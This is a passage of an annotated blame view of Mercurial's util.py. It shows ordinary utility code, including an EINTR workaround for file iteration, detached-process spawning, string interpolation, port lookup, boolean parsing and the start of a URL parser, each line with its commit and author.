9b8c9266c59d commands: wrap short descriptions in 'hg help'
Martin Geisler <mg@lazybytes.net>
parents: 8785
diff changeset
  2877
30418
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2878
if (pyplatform.python_implementation() == 'CPython' and
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2879
    sys.version_info < (3, 0)):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2880
    # There is an issue in CPython that some IO methods do not handle EINTR
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2881
    # correctly. The following table shows what CPython version (and functions)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2882
    # are affected (buggy: has the EINTR bug, okay: otherwise):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2883
    #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2884
    #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2885
    #   --------------------------------------------------
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2886
    #    fp.__iter__ | buggy   | buggy           | okay
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2887
    #    fp.read*    | buggy   | okay [1]        | okay
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2888
    #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2889
    # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2890
    #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2891
    # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2892
    # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2893
    #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2894
    # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2895
    # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2896
    # CPython 2, because CPython 2 maintains an internal readahead buffer for
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2897
    # fp.__iter__ but not other fp.read* methods.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2898
    #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2899
    # On modern systems like Linux, the "read" syscall cannot be interrupted
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2900
    # when reading "fast" files like on-disk files. So the EINTR issue only
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2901
    # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2902
    # files approximately as "fast" files and use the fast (unsafe) code path,
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2903
    # to minimize the performance impact.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2904
    if sys.version_info >= (2, 7, 4):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2905
        # fp.readline deals with EINTR correctly, use it as a workaround.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2906
        def _safeiterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2907
            return iter(fp.readline, '')
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2908
    else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2909
        # fp.read* are broken too, manually deal with EINTR in a stupid way.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2910
        # note: this may block longer than necessary because of bufsize.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2911
        def _safeiterfile(fp, bufsize=4096):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2912
            fd = fp.fileno()
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2913
            line = ''
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2914
            while True:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2915
                try:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2916
                    buf = os.read(fd, bufsize)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2917
                except OSError as ex:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2918
                    # os.read only raises EINTR before any data is read
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2919
                    if ex.errno == errno.EINTR:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2920
                        continue
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2921
                    else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2922
                        raise
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2923
                line += buf
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2924
                if '\n' in buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2925
                    splitted = line.splitlines(True)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2926
                    line = ''
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2927
                    for l in splitted:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2928
                        if l[-1] == '\n':
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2929
                            yield l
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2930
                        else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2931
                            line = l
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2932
                if not buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2933
                    break
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2934
            if line:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2935
                yield line
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2936
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2937
    def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2938
        fastpath = True
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2939
        if type(fp) is file:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2940
            fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2941
        if fastpath:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2942
            return fp
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2943
        else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2944
            return _safeiterfile(fp)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2945
else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2946
    # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2947
    def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
  2948
        return fp
30395
10514a92860e util: add iterfile to workaround a fileobj.__iter__ issue with EINTR
Jun Wu <quark@fb.com>
parents: 30359
diff changeset
  2949
7879
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
  2950
def iterlines(iterator):
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
  2951
    for chunk in iterator:
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
  2952
        for line in chunk.splitlines():
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
  2953
            yield line
9610
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
  2954
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
  2955
def expandpath(path):
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
  2956
    return os.path.expanduser(os.path.expandvars(path))
10239
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
  2957
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
  2958
def hgcmd():
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
  2959
    """Return the command used to execute current hg
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
  2960
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
  2961
    This is different from hgexecutable() because on Windows we want
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
  2962
    to avoid things opening new shell windows like batch files, so we
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
  2963
    get either the python call or current executable.
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
  2964
    """
14228
116de1da2154 rename util.main_is_frozen to mainfrozen
Adrian Buehlmann <adrian@cadifra.com>
parents: 14167
diff changeset
  2965
    if mainfrozen():
27766
198f78a52a2f util: adjust hgcmd() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents: 27765
diff changeset
  2966
        if getattr(sys, 'frozen', None) == 'macosx_app':
198f78a52a2f util: adjust hgcmd() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents: 27765
diff changeset
  2967
            # Env variable set by py2app
30637
344e68882cd3 py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30625
diff changeset
  2968
            return [encoding.environ['EXECUTABLEPATH']]
27766
198f78a52a2f util: adjust hgcmd() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents: 27765
diff changeset
  2969
        else:
30669
10b17ed9b591 py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30642
diff changeset
  2970
            return [pycompat.sysexecutable]
10239
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
  2971
    return gethgcmd()
10344
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2972
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2973
def rundetached(args, condfn):
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2974
    """Execute the argument list in a detached process.
10422
600142e7a028 util: fix trailing whitespace found by check-code
Augie Fackler <durin42@gmail.com>
parents: 10344
diff changeset
  2975
10344
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2976
    condfn is a callable which is called repeatedly and should return
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2977
    True once the child process is known to have started successfully.
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2978
    At this point, the child process PID is returned. If the child
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2979
    process fails to start or finishes before condfn() evaluates to
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2980
    True, return -1.
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2981
    """
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2982
    # Windows case is easier because the child process is either
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2983
    # successfully starting and validating the condition or exiting
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2984
    # on failure. We just poll on its PID. On Unix, if the child
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2985
    # process fails to start, it will be left in a zombie state until
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2986
    # the parent wait on it, which we cannot do since we expect a long
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2987
    # running process on success. Instead we listen for SIGCHLD telling
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2988
    # us our child process terminated.
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2989
    terminated = set()
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2990
    def handler(signum, frame):
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2991
        terminated.add(os.wait())
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2992
    prevhandler = None
14968
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
  2993
    SIGCHLD = getattr(signal, 'SIGCHLD', None)
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
  2994
    if SIGCHLD is not None:
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
  2995
        prevhandler = signal.signal(SIGCHLD, handler)
10344
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2996
    try:
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2997
        pid = spawndetached(args)
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2998
        while not condfn():
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  2999
            if ((pid in terminated or not testpid(pid))
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  3000
                and not condfn()):
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  3001
                return -1
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  3002
            time.sleep(0.1)
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  3003
        return pid
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  3004
    finally:
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  3005
        if prevhandler is not None:
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
  3006
            signal.signal(signal.SIGCHLD, prevhandler)
10438
e6dc44147234 util: add any() and all() functions for Python 2.4 compatibility
Steve Losh <steve@stevelosh.com>
parents: 10422
diff changeset
  3007
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  3008
def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  3009
    """Return the result of interpolating items in the mapping into string s.
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  3010
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  3011
    prefix is a single character string, or a two character string with
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  3012
    a backslash as the first character if the prefix needs to be escaped in
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  3013
    a regular expression.
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  3014
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  3015
    fn is an optional function that will be applied to the replacement text
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  3016
    just before replacement.
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  3017
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  3018
    escape_prefix is an optional flag that allows using doubled prefix for
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  3019
    its escaping.
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  3020
    """
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  3021
    fn = fn or (lambda s: s)
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  3022
    patterns = '|'.join(mapping.keys())
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  3023
    if escape_prefix:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  3024
        patterns += '|' + prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  3025
        if len(prefix) > 1:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  3026
            prefix_char = prefix[1:]
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  3027
        else:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  3028
            prefix_char = prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  3029
        mapping[prefix_char] = prefix_char
35145
25c543944bc0 py3: add b'' to regular expressions which are raw strings
Pulkit Goyal <7895pulkit@gmail.com>
parents: 35014
diff changeset
  3030
    r = remod.compile(br'%s(%s)' % (prefix, patterns))
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  3031
    return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  3032
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3033
def getport(port):
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3034
    """Return the port for a given network service.
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3035
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3036
    If port is an integer, it's returned as is. If it's a string, it's
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3037
    looked up using socket.getservbyname(). If there's no matching
26587
56b2bcea2529 error: get Abort from 'error' instead of 'util'
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 26493
diff changeset
  3038
    service, error.Abort is raised.
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3039
    """
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3040
    try:
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3041
        return int(port)
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3042
    except ValueError:
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3043
        pass
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3044
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3045
    try:
36038
15c8c4ac5d9c py3: pass system string to socket.getservbyname
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35900
diff changeset
  3046
        return socket.getservbyname(pycompat.sysstr(port))
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3047
    except socket.error:
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  3048
        raise Abort(_("no port number associated with service '%s'") % port)
12087
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
  3049
12088
1f71dffabc53 parsebool: accept always as true and never as false
Augie Fackler <durin42@gmail.com>
parents: 12087
diff changeset
  3050
_booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
1f71dffabc53 parsebool: accept always as true and never as false
Augie Fackler <durin42@gmail.com>
parents: 12087
diff changeset
  3051
             '0': False, 'no': False, 'false': False, 'off': False,
1f71dffabc53 parsebool: accept always as true and never as false
Augie Fackler <durin42@gmail.com>
parents: 12087
diff changeset
  3052
             'never': False}
12087
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
  3053
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
  3054
def parsebool(s):
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
  3055
    """Parse s into a boolean.
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
  3056
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
  3057
    If s is not a valid boolean, returns None.
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
  3058
    """
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
  3059
    return _booleans.get(s.lower(), None)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3060
14077
c285bdb0572a util.url: copy urllib.unquote() into util to improve startup times
Brodie Rao <brodie@bitheap.org>
parents: 14076
diff changeset
  3061
_hextochr = dict((a + b, chr(int(a + b, 16)))
30054
8b89521a69ba util: use string.hexdigits instead of defining it ourselves
Augie Fackler <augie@google.com>
parents: 30053
diff changeset
  3062
                 for a in string.hexdigits for b in string.hexdigits)
14077
c285bdb0572a util.url: copy urllib.unquote() into util to improve startup times
Brodie Rao <brodie@bitheap.org>
parents: 14076
diff changeset
  3063
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3064
class url(object):
14146
1618c4f6f15b tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents: 14100
diff changeset
  3065
    r"""Reliable URL parser.
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3066
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3067
    This parses URLs and provides attributes for the following
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3068
    components:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3069
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3070
    <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
924c82157d46 url: move URL parsing functions into util to improve startup time
